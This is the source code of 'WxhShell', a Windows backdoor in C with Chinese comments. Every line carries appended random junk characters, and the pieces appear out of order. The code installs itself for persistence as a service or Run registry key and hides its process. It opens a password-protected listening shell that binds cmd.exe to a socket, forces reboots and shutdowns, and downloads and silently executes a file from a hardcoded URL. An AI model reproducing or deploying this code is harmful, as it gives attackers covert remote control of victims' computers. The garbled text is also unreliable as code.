    if(Boot(SHUTDOWN)) Wl29xY}`{!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); We8n20wf<  
    else { @W_=Z0]  
    closesocket(wsh); E$4_.Z8sRw  
    ExitThread(0); |v Gb,&3  
    } (Yv)%2  
    break; "X[sW%# F  
    } tx+KxOt9Y  
  // 获取shell A^%li^qz  
  case 's': { 4lb(qKea  
    CmdShell(wsh); %8L>|QOX  
    closesocket(wsh); x5X;^.1Fr  
    ExitThread(0); >qqI6@h]c  
    break; V[Z^Z  
  } !vrdu OB  
  // 退出 03%`ouf  
  case 'x': { |}FK;@'I6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rnkq.  
    CloseIt(wsh); lI)RaiMr=  
    break; pv}k=wqJ1  
    } b|rMmx8vA  
  // 离开 dj;Zzt3  
  case 'q': { &'mq).I2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eG @0:  
    closesocket(wsh); Ala~4_" WL  
    WSACleanup(); 342m=7lK  
    exit(1); K1_]ne)  
    break; mDCz=pk)  
        } :xBG~D  
  } I,nW~;OV0  
  } z{>p<)h  
9B&fEmgEc?  
  // 提示信息 W1$<,4j@M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HCCEIgCT  
} &|'t>-de,  
  } lMQ_S"  
<*Ex6/j  
  return; |e%o  
} &A1~x!`  
>l>;"R9N  
// shell模块句柄 =_"[ &^  
int CmdShell(SOCKET sock) 4t]YHLBS  
{ <mk'n6B  
STARTUPINFO si; VEc^Ap1?'  
ZeroMemory(&si,sizeof(si)); 1 7..  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <'N(`.&3C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 g%BCGsys  
PROCESS_INFORMATION ProcessInfo; /A4^l]H;+3  
char cmdline[]="cmd"; &Q>tV+*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k^%Kw(/  
  return 0; fqY; > Z  
} `w;8xD(  
fPA5]a9  
// 自身启动模式 nYvx[ zq?^  
int StartFromService(void) 8M~^/Zc  
{ }~akVh`3  
typedef struct -".q=$f  
{ |Y9mre.Y;  
  DWORD ExitStatus; Uc[ @]  
  DWORD PebBaseAddress; ?x\tE]  
  DWORD AffinityMask; $oo`]R_   
  DWORD BasePriority; d41DcgG'j(  
  ULONG UniqueProcessId; m 4r!Ck|  
  ULONG InheritedFromUniqueProcessId; rD?G7l<~>_  
}   PROCESS_BASIC_INFORMATION; 01_*^iCf5  
2X)n.%4g$;  
PROCNTQSIP NtQueryInformationProcess; 2BGS$$pP  
rZi\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rYP72<   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;UnJrP-if  
6!;eJYj,  
  HANDLE             hProcess; ElK7jWJ+  
  PROCESS_BASIC_INFORMATION pbi; ~x #RIt  
YTk"'q-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W[R^5{k`  
  if(NULL == hInst ) return 0; 5L!cS+QNU  
:ot^bAyt|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !4 =]@eFk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pVa9g)+z}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _[:>!ekx  
)UoF*vC(  
  if (!NtQueryInformationProcess) return 0; ib,BYFKEW  
*pP&$!bH%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3%0ShMFP@  
  if(!hProcess) return 0; %RS~>pK1  
7%0V?+]P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |l#<vw wE  
\$B%TY  
  CloseHandle(hProcess); yd>b2 M  
+! F+m V9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p7{%0  
if(hProcess==NULL) return 0; ;iq58.  
v"I#.{LiH=  
HMODULE hMod; 3&tJD  
char procName[255]; c*~ /`lG  
unsigned long cbNeeded; 1v M'yr$  
5X1z^(   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u &qFE=5:  
u;/5@ADW  
  CloseHandle(hProcess); V0 O6\)/.  
@}oY6cW;B*  
if(strstr(procName,"services")) return 1; // 以服务启动 .G~Y`0  
_s%;GWj  
  return 0; // 注册表启动 [WXa]d5Y  
} yOdh?:Imv  
uA]!y{"}J  
// 主模块 ^fq^s T.$  
int StartWxhshell(LPSTR lpCmdLine) v{44`tR   
{ [/+}E X  
  SOCKET wsl; = 9K5f# ;e  
BOOL val=TRUE; ` v"p""_H  
  int port=0; {S6:LsFfm  
  struct sockaddr_in door; *]#(?W.$w  
} Tz<fd/  
  if(wscfg.ws_autoins) Install(); ^8q(_#w`K  
qPvWb1H:  
port=atoi(lpCmdLine); 2vLV1v$,q  
L8WYxJ k  
if(port<=0) port=wscfg.ws_port; x Rp;y*  
4F=cER6l  
  WSADATA data; /qwl;_Jcf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ">|G^ @|:A  
N\nxo0sl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OciPd/6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oa;vLX$   
  door.sin_family = AF_INET; AS-%I+ A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 62D UF  
  door.sin_port = htons(port); g[%^OT#  
u$%;03hJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pcC/$5FQ  
closesocket(wsl); hziPHuK9,  
return 1; vvwQ/iJO4Q  
} \nbGdka  
"+sl(A3`U  
  if(listen(wsl,2) == INVALID_SOCKET) { A(84cmq!q  
closesocket(wsl); `ttqgv\  
return 1; l RM7s(^l  
} WV?3DzeR  
  Wxhshell(wsl); 41XS/# M$*  
  WSACleanup(); :oeDksld  
6>)oG6  
return 0; 5oTj^W8M(  
;_dOYG1  
} TO5#iiM)  
(`cXS5R  
// 以NT服务方式启动 PO@b9O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J`d_=C?J  
{ ah2L8jN"  
DWORD   status = 0; BTAt9Z8qK  
  DWORD   specificError = 0xfffffff; 3vC"Q!J&  
4 >`2vb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {4^NZTjd@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [~Vj(H=KwI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~zO>Q4-k  
  serviceStatus.dwWin32ExitCode     = 0; {"vTaY@  
  serviceStatus.dwServiceSpecificExitCode = 0; !3;KC"o  
  serviceStatus.dwCheckPoint       = 0; ,>Yl(=&  
  serviceStatus.dwWaitHint       = 0; +zL|j/q?  
DOB#PI [/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oksAQnQe  
  if (hServiceStatusHandle==0) return; \C&V)/  
H-C$Jy)f"  
status = GetLastError(); x"83[0ib  
  if (status!=NO_ERROR) HE{JiAf  
{ HS@ EV iht  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H[o >"@4  
    serviceStatus.dwCheckPoint       = 0; nmWo:ox4;(  
    serviceStatus.dwWaitHint       = 0; g/(3D  
    serviceStatus.dwWin32ExitCode     = status; q445$ndCT  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z!foD^&R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #gcv])to  
    return; \u$[$R5  
  } iY;>LJmp  
%/}46z9\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mzm{p(.  
  serviceStatus.dwCheckPoint       = 0; uFYcVvbT@  
  serviceStatus.dwWaitHint       = 0; i1JVvNMQ,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0?Bv zfb  
} >)*0lfxTZ  
OSY.$$IO  
// 处理NT服务事件,比如:启动、停止 M"s+k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >XJUj4B|X  
{ BIY"{"hJ  
switch(fdwControl) H~<w*[uT  
{ Y ow  
case SERVICE_CONTROL_STOP: yB5JvD ?  
  serviceStatus.dwWin32ExitCode = 0; 4'# ?"I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ! z6T_;s  
  serviceStatus.dwCheckPoint   = 0; 9$s~ `z)  
  serviceStatus.dwWaitHint     = 0; 4o3TW#  
  { =Y {<&:%(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _@@.VmZL  
  } sIzy/W0iV  
  return; 7fXta|eP0  
case SERVICE_CONTROL_PAUSE: {v,NNKQ4x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3Q!)bMv \  
  break; 36MNaQt'e  
case SERVICE_CONTROL_CONTINUE: %?m_;iv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %Xe 74C"  
  break; {v}BtZ  
case SERVICE_CONTROL_INTERROGATE: Px?zih!6  
  break; HB*H%>L{"B  
}; i5#4@ 4aC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MG:eI?G/'  
} sH51 .JG  
|crm{]7X  
// 标准应用程序主函数 ^E&WgXlb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !6FO[^h||H  
{ [79iC$8B|  
;iO5 8S3  
// 获取操作系统版本 5kLz8n^z@@  
OsIsNt=GetOsVer(); JXQh$hs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HlOn=>)<  
U(:Di]>{  
  // 从命令行安装 1b,MJ~g$  
  if(strpbrk(lpCmdLine,"iI")) Install(); w&x$RP  
>Vph_98|  
  // 下载执行文件 h'.B-y~c  
if(wscfg.ws_downexe) { a`6R}|ZB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dg}$;PK  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ww0$  
} ;[B-!F>  
'0<9+A#  
if(!OsIsNt) { Sf'uKSX1%  
// 如果时win9x,隐藏进程并且设置为注册表启动 D}~uxw;[^  
HideProc(); UIC~%?oIA  
StartWxhshell(lpCmdLine); q$'D}OHT  
} v2Vmcc_]9x  
else >4&0j'z"  
  if(StartFromService()) DCKH^J   
  // 以服务方式启动 M \UB r4  
  StartServiceCtrlDispatcher(DispatchTable); o&MOcy D  
else opgNt o6$  
  // 普通方式启动 @tlWyUju  
  StartWxhshell(lpCmdLine); qF Xx/FZ  
8EY]<#PN  
return 0; ihd^P]  
} UsgrI>|l  
s"~3.J  
O+"a 0:GM  
3(`P x}  
=========================================== }"M5"?  
k]rc -c-  
[Om,Q<  
a5?Yh<cJ  
a= (vS  
nL+y"O  
" 6z2%/P-'  
g\1|<jb3  
#include <stdio.h> ldt]=Sqy  
#include <string.h> AP+%T   
#include <windows.h> /vs79^&  
#include <winsock2.h> Ch_eK^ g1  
#include <winsvc.h> RMHJI6?LB  
#include <urlmon.h> HcM/  
l4ru0V8s7  
#pragma comment (lib, "Ws2_32.lib") [ d`m)MW-  
#pragma comment (lib, "urlmon.lib") -I[KIeF  
NqM=Nu\  
#define MAX_USER   100 // 最大客户端连接数 "V`5 $ur  
#define BUF_SOCK   200 // sock buffer nd }Z[)  
#define KEY_BUFF   255 // 输入 buffer `L%<3/hF  
_R}yZ=di  
#define REBOOT     0   // 重启 1 %8JMq\  
#define SHUTDOWN   1   // 关机 3F32 /_`  
OMAvJzK .  
#define DEF_PORT   5000 // 监听端口 $r)NL  
n(W&GSj|u9  
#define REG_LEN     16   // 注册表键长度 Muyi2F)j  
#define SVC_LEN     80   // NT服务名长度 7Q9| P?&:z  
}$b!/<7FD  
// 从dll定义API > D%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |nBs(>b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U|Uc|6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XTRF IY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]CDUHz  
xdh%mG:?  
// wxhshell配置信息 g3f; JB   
struct WSCFG { QUDpAW  
  int ws_port;         // 监听端口 MzH'<`;BP  
  char ws_passstr[REG_LEN]; // 口令 MlR ]+]  
  int ws_autoins;       // 安装标记, 1=yes 0=no -vv_6Z L[  
  char ws_regname[REG_LEN]; // 注册表键名 0:JNkXZ:  
  char ws_svcname[REG_LEN]; // 服务名 Q CO,f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {E0\mZ2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xlH3t&i7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :!JQ<kV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mbns%%GJU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tj+U:#!!~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S]NT+XM  
=#vJqA  
}; _9'hmej  
7^syu;DT9Y  
// default Wxhshell configuration t N4-<6  
struct WSCFG wscfg={DEF_PORT, / ;+Mz*  
    "xuhuanlingzhe",  U4qk<!  
    1, R_b4S%jhx  
    "Wxhshell", yMt:L)+  
    "Wxhshell", qkqtPbQ 7  
            "WxhShell Service", c Qe3  
    "Wrsky Windows CmdShell Service", `g <0FQA  
    "Please Input Your Password: ", frc9   
  1, v3{%U1>}v  
  "http://www.wrsky.com/wxhshell.exe", z[@i=avPG  
  "Wxhshell.exe" m\70&%v  
    }; F"1tPWn  
N 1ydL  
// 消息定义模块 gq@8Z AWn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *5{1.7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~n! & ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 11c\C Iu  
char *msg_ws_ext="\n\rExit."; >!Xj%RW  
char *msg_ws_end="\n\rQuit."; _-rC]iQJ55  
char *msg_ws_boot="\n\rReboot..."; 6s'n r7'0  
char *msg_ws_poff="\n\rShutdown..."; YRMe<upo  
char *msg_ws_down="\n\rSave to "; jib pZ)  
&xZSM,  
char *msg_ws_err="\n\rErr!"; `z$P,^g`  
char *msg_ws_ok="\n\rOK!"; UyFC\vQ  
4sW'pH  
char ExeFile[MAX_PATH]; u%lUi2P2E  
int nUser = 0; Uq~b4X$  
HANDLE handles[MAX_USER]; xGFbh4H=8p  
int OsIsNt; O3mw5<%15  
T8&eaAoo  
SERVICE_STATUS       serviceStatus; OZC yg/K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jFip-=T{4  
 e<(6x[_  
// 函数声明 o1"N{ Eu  
int Install(void); hA;Ai:8  
int Uninstall(void); c,O;B_}M]  
int DownloadFile(char *sURL, SOCKET wsh); +TX4,"  
int Boot(int flag); pjl>ZoOM  
void HideProc(void); RR's W@  
int GetOsVer(void); #c":y5:  
int Wxhshell(SOCKET wsl); v+}${h9  
void TalkWithClient(void *cs); :LlZ#V2  
int CmdShell(SOCKET sock); 9C=*>I27?  
int StartFromService(void); IZ\fvYp  
int StartWxhshell(LPSTR lpCmdLine); *}T|T%L4)  
gf?N(,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .Z#/%y3S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J Vxja<43  
wX_~H*m?  
// 数据结构和表定义 TD%L`Gk  
SERVICE_TABLE_ENTRY DispatchTable[] = nA{yH}D4  
{ hg#O_4D  
{wscfg.ws_svcname, NTServiceMain}, e6bh,BwgQq  
{NULL, NULL} 7 \[fjCg\w  
}; DycXJ3eQ  
y. 1F@w|  
// 自我安装 m OE!`fd  
int Install(void) T\(k=0R M  
{ L[A?W  
  char svExeFile[MAX_PATH]; }/h&`0z `  
  HKEY key; t72rCq QC  
  strcpy(svExeFile,ExeFile); KU*aJl_n,  
4=EA3`l  
// 如果是win9x系统,修改注册表设为自启动 2Q\\l @b\  
if(!OsIsNt) { GNEPb?+T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g<,0kl2'S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 q1x+  
  RegCloseKey(key); 0 x' d^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d0C _:_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U]w"T{;@.)  
  RegCloseKey(key); KV$4}{  
  return 0; X/90S2=P  
    } c8Ud<M .  
  } Zd%wX<hU"  
} XogCq?_m  
else { v;U5[  
Gi#-TP\  
// 如果是NT以上系统,安装为系统服务 %vm_v.Q4)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X,#~[%h$-=  
if (schSCManager!=0) (vX< B h  
{ vC `SD]  
  SC_HANDLE schService = CreateService iRlpNsN  
  ( }ijQ*ECdl  
  schSCManager, |$e'y x6j  
  wscfg.ws_svcname, ,G5[?H;ZN  
  wscfg.ws_svcdisp, mw}Bl; - O  
  SERVICE_ALL_ACCESS, [ p~,;%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >iRkhA=Vg  
  SERVICE_AUTO_START, &"I csxG  
  SERVICE_ERROR_NORMAL, Dg"szJ-   
  svExeFile, K)se$vb6  
  NULL, FpU8$o~r{  
  NULL, y22DBB8  
  NULL, W3d+t ?28  
  NULL, %''L7o.#a  
  NULL %+Y wzL{  
  ); ?@;)2B|q  
  if (schService!=0) s,8zj<dUv  
  { >`SeX:  
  CloseServiceHandle(schService); q<! -Anc  
  CloseServiceHandle(schSCManager); B>m*!n: l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9xhc:@B1J  
  strcat(svExeFile,wscfg.ws_svcname); V>,=%r4f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'P" i9j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9=3DYCk/  
  RegCloseKey(key); P\<:.8@$S  
  return 0; t89Tt@cf  
    } 5oSp/M  
  } s.Bb@Jq  
  CloseServiceHandle(schSCManager); dFDf/tH  
} ,Kl?-W@  
} qIQRl1Tw;V  
h~](9e s  
return 1; Rz|@BxB>n  
} gGUKB2)  
u:2Ll[ eo  
// 自我卸载 x: _[R{B  
int Uninstall(void) |*UB/8C^/!  
{ u4w!SD  
  HKEY key; z\A ),;  
S#v3%)R  
if(!OsIsNt) { YzQ1c~+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |\?u-O3  
  RegDeleteValue(key,wscfg.ws_regname); PnaiSt9p?r  
  RegCloseKey(key); kaB4[u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |rwY   
  RegDeleteValue(key,wscfg.ws_regname); `o295eiY(b  
  RegCloseKey(key); D\9-/ p  
  return 0;  0.0-rd>  
  } A)>#n)  
} )%MC*Z :^  
} p^k0Rad  
else { )"6-7ii7(f  
0 }od Q#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QAp]cE1ew  
if (schSCManager!=0) 0]iaNR %  
{ #Gg^QJ*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,NS*`F[O  
  if (schService!=0) O^row1D_  
  { <?5|(Q"@:  
  if(DeleteService(schService)!=0) { C-;w}  
  CloseServiceHandle(schService); uW[[8+t|  
  CloseServiceHandle(schSCManager); Cp"7R&s  
  return 0; z|D*ymz*EY  
  } OM&GypP6&  
  CloseServiceHandle(schService); 4d4+%5GE  
  } ] 2qKc  
  CloseServiceHandle(schSCManager); M?%x= q\<  
} !Kg ']4  
} ? \,^>4x?  
usD@4!PoA  
return 1; -Z$u[L [c  
} aE 9Y |6  
oq+w2yR  
// 从指定url下载文件 3cL iZ%6^  
int DownloadFile(char *sURL, SOCKET wsh) adX"Yg!`{c  
{ !=,Y=5M,  
  HRESULT hr; -|uoxj>  
char seps[]= "/"; 9tPRQ M7  
char *token; !Vw1w1  
char *file; ChG7>4:\  
char myURL[MAX_PATH]; jd-]q2fQ|  
char myFILE[MAX_PATH]; -LszaMR}  
8mKp PwG0  
strcpy(myURL,sURL); o5?Y   
  token=strtok(myURL,seps); [%N?D#;  
  while(token!=NULL) &t AYF_}  
  { @e GBF Ns  
    file=token; >VkBQM-%  
  token=strtok(NULL,seps);  3}8o 9  
  } 0~^RHb.NA8  
G_S>{<[  
GetCurrentDirectory(MAX_PATH,myFILE); G#7(6:=;,`  
strcat(myFILE, "\\"); ud$-A  
strcat(myFILE, file); E6-*2U)k+  
  send(wsh,myFILE,strlen(myFILE),0); M lR~`B}m  
send(wsh,"...",3,0); /z*Z+OT2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WXY'%G  
  if(hr==S_OK) * /n8T]s  
return 0; _<F)G,=  
else 4A!]kj 5T  
return 1; jTcv&`fAz  
X&?s:A  
} n%7?G=_kj  
lnyfAq}w  
// 系统电源模块 Y -a   
int Boot(int flag) LsuOmB|^  
{ (jDz[b#OPz  
  HANDLE hToken; }r5yAE  
  TOKEN_PRIVILEGES tkp; MkPQ@so  
KddCR&  
  if(OsIsNt) { PVBz~rG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CC`_e^~y=F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2.Qz"YDh =  
    tkp.PrivilegeCount = 1; ?zf3Fn2y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \}?X5X>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $0E+8xE  
if(flag==REBOOT) { }Pg}"fb^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bHe' U>  
  return 0; nm,LKS7  
} F^NK"<tW  
else { <]M. K3>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wjw ,LwB  
  return 0; aIV / c  
} x1.S+:  
  } /q]rA  
  else { f|~{j(.v  
if(flag==REBOOT) { T"_'sSI>tF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4?'vP'  
  return 0; k6;bUOo  
} EyE#x_A  
else { Z_\p8@3aH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MVsFi]-  
  return 0; akzGJ3g  
} 4\Y5RfLB_  
} r[a7">n  
Y#ZgrziYM  
return 1; v\Uk?V5T  
} 4 V')FGB$  
Dp ](?Yr  
// win9x进程隐藏模块 j ) 6  
void HideProc(void) V}#X'~Ob  
{ l[38cF  
Go)$LC0Mi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ){5Nod{}a  
  if ( hKernel != NULL ) @owneSD qN  
  { }oRBQP^&K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dz] 5s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m0"K^p  
    FreeLibrary(hKernel); TmQIpeych  
  } MIrx,d  
~P1~:AT  
return; P2-&Im`+  
} {_O!mI*  
o eU i  
// 获取操作系统版本 go uU  
int GetOsVer(void) 8Y?M:^f~  
{ >1Z"5F7=  
  OSVERSIONINFO winfo; ' rcqy1-&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v 3I^81  
  GetVersionEx(&winfo); ,yYcjs!=o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "+F'WCJ-(*  
  return 1; y>P+"Z.K%}  
  else $oK&k}Q  
  return 0; *|fF;-#v  
} +(3_V$|Dv  
::|~tLFu  
// 客户端句柄模块 g"!(@]L!@  
int Wxhshell(SOCKET wsl) "?I#!t%'  
{ /o;M ?Nt6  
  SOCKET wsh; t<!;shH,s  
  struct sockaddr_in client; j~Aq-8R=  
  DWORD myID; d#g))f;  
w7V\_^&Id  
  while(nUser<MAX_USER) 7Q}pKq]P  
{ M3pE$KT0x  
  int nSize=sizeof(client); u5(8k_7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <xOX+D  
  if(wsh==INVALID_SOCKET) return 1; -zR<m  
Y^eN}@]?&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x#>V50E  
if(handles[nUser]==0) _v,0"_"  
  closesocket(wsh); hJb2y`,q  
else z%82Vt!a5  
  nUser++; .,bpFcQ  
  } i})s4%a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }e?H(nZS7h  
/<J(\;Jr6  
  return 0; .-KI,IU  
} !(GyOAb  
P!eo#b^S  
// 关闭 socket 54+(o6E<  
void CloseIt(SOCKET wsh) *GT=U(d  
{ gxv^=;2C  
closesocket(wsh); m\L`$=eO8  
nUser--; b2m={q(s  
ExitThread(0); 3e_tT8  
} /Nf{;G!kg  
;w7mr1  
// 客户端请求句柄 y6XOq>  
void TalkWithClient(void *cs) WAa45G  
{ )U@9dV7u  
utlr|m Xc  
  SOCKET wsh=(SOCKET)cs; 53HA6:Q[  
  char pwd[SVC_LEN]; [FO4x`  
  char cmd[KEY_BUFF]; c|&3e84U  
char chr[1]; 6hxZ5&;(*  
int i,j; a+w2cN'  
QNj]wm=mp  
  while (nUser < MAX_USER) { {M]_]L{&7  
D}_.D=)  
if(wscfg.ws_passstr) { 5R7x%3@L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v@ _1V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uoS:-v}/Y~  
  //ZeroMemory(pwd,KEY_BUFF); G{U#9   
      i=0; IiU> VLa  
  while(i<SVC_LEN) { XB)D".\  
$|N6I  
  // 设置超时 M.W X&;>  
  fd_set FdRead; T ozx0??)  
  struct timeval TimeOut; (bsx|8[  
  FD_ZERO(&FdRead); |&; ^?M  
  FD_SET(wsh,&FdRead); QL?_FwZL  
  TimeOut.tv_sec=8; z 6:Wh  
  TimeOut.tv_usec=0; f9.?+.^_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hyI7X7Hy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (8d uV  
9LDv?kYr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b}[S+G-9W  
  pwd=chr[0]; W0qR? jc  
  if(chr[0]==0xd || chr[0]==0xa) { rq+_ [!  
  pwd=0; _olQ;{ U:  
  break; y>I2}P  
  } l5[5Y6c>  
  i++; 2Ez<Iw  
    } E9:@H;Gc  
#[+# bw_6  
  // 如果是非法用户,关闭 socket LOh2eZ"n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M<vPE4TIr*  
} SyWZOE%p  
:gVUk\)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V ao:9 ~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "-~ 7lY%  
|5&+VI  
while(1) { kwI``7g8*e  
 F B]Y~;(  
  ZeroMemory(cmd,KEY_BUFF); Y|>dS8f;4  
VoU8I ~  
      // 自动支持客户端 telnet标准   {)[o*+9  
  j=0; YvR bM  
  while(j<KEY_BUFF) { r/YJ,2!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /0s1;?  
  cmd[j]=chr[0]; pv_o4qEN  
  if(chr[0]==0xa || chr[0]==0xd) { A_xC@$1e<  
  cmd[j]=0; G@]3EP  
  break; &V].,12x  
  } yW_yHSx;  
  j++; $J[( 3  
    } iC"iR\Qu  
){^J8]b7#  
  // 下载文件 cD!,ZL  
  if(strstr(cmd,"http://")) { n;g'?z=hy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5ZCu6 A  
  if(DownloadFile(cmd,wsh)) 8&<mg;H,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jK|n^5\  
  else Z)?$ZI@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PL/g| ;  
